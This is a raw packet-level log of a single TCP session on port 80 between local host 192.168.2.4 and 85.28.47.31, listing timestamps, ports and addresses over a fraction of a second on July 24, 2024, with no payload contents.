Jul 24, 2024 02:39:06.409317970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.409318924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409334898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409349918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.409503937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.409503937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.409503937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.410089970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410106897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410121918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410137892 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410145044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.410152912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410167933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410171032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.410183907 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410198927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410212040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410216093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.410227060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410237074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.410243034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410258055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410260916 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.410273075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410289049 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410304070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410312891 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.410320044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.410358906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.410373926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.411473036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411489010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411503077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411519051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411529064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.411535025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411550045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411564112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411576986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.411580086 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411596060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411611080 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411624908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411640882 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411645889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.411655903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411672115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411680937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.411689043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411704063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411711931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.411720037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411737919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.411767006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.411936045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411952972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411967039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411982059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.411986113 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.411995888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.412010908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.412025928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.412029982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.412041903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.412055969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.412070990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.412071943 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.412086010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.412095070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.412102938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.412117958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.412122011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.412146091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.412158966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.412167072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.412205935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501188993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501231909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501261950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501287937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501322031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501323938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501351118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501358986 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501369953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501394033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501420975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501430035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501441002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501466036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501491070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501502991 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501528978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501564980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501646996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501682043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501696110 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501715899 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501728058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501749039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501773119 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501782894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501794100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501817942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501830101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501852036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501867056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501885891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501920938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501921892 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.501950026 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.501966953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502101898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502135038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502167940 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502170086 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502190113 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502204895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502238989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502239943 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502265930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502274036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502301931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502326965 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502356052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502388954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502415895 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502435923 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502441883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502476931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502490997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502511978 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502537966 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502547026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502556086 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502583981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502593994 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502633095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502860069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502893925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502907038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502928019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502943993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502959967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.502974033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.502995014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503006935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503029108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503062010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503068924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503068924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503093958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503108978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503128052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503143072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503160000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503170967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503206015 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503432989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503467083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503483057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503499985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503513098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503534079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503551960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503567934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503576994 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503602028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503612995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503634930 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503664970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503668070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503679991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503701925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503731012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503735065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503748894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503768921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503798008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503802061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503834009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.503838062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503861904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.503884077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504178047 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504211903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504245043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504245043 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504281044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504282951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504309893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504319906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504323959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504353046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504379988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504385948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504412889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504419088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504431963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504452944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504462957 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504502058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504513979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504555941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504564047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504590034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504604101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504623890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504651070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504657030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504667997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504690886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504704952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504724026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.504735947 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.504776001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505151987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505187035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505213022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505218983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505248070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505251884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505263090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505285025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505300999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505319118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505330086 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505352020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505367041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505384922 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505419016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505422115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505441904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505453110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505464077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505534887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505552053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505568981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505578041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505603075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505620003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505635977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505649090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505670071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505686998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505702972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505714893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505737066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.505753040 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.505781889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506079912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506114006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506135941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506146908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506155014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506180048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506192923 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506230116 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506237030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506269932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506283998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506302118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506315947 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506335974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506351948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506369114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506381989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506402016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506417990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506434917 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506447077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506468058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506484032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506500959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506513119 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506536961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506562948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506570101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506584883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506602049 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506614923 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506634951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506647110 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506685019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506903887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506937027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506961107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.506970882 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.506982088 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.507003069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.507018089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.507049084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.507055044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.507090092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.507106066 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.507133961 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.595926046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.595994949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596029997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596081018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596115112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596128941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596128941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596128941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596128941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596148968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596182108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596210957 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596210957 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596215010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596231937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596250057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596261024 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596282959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596317053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596335888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596335888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596369028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596371889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596405029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596422911 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596436977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596452951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596471071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596508026 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596522093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596535921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596580982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596596956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596630096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596647978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596663952 CEST	80	49730	85.28.47.31	192.168.2.4
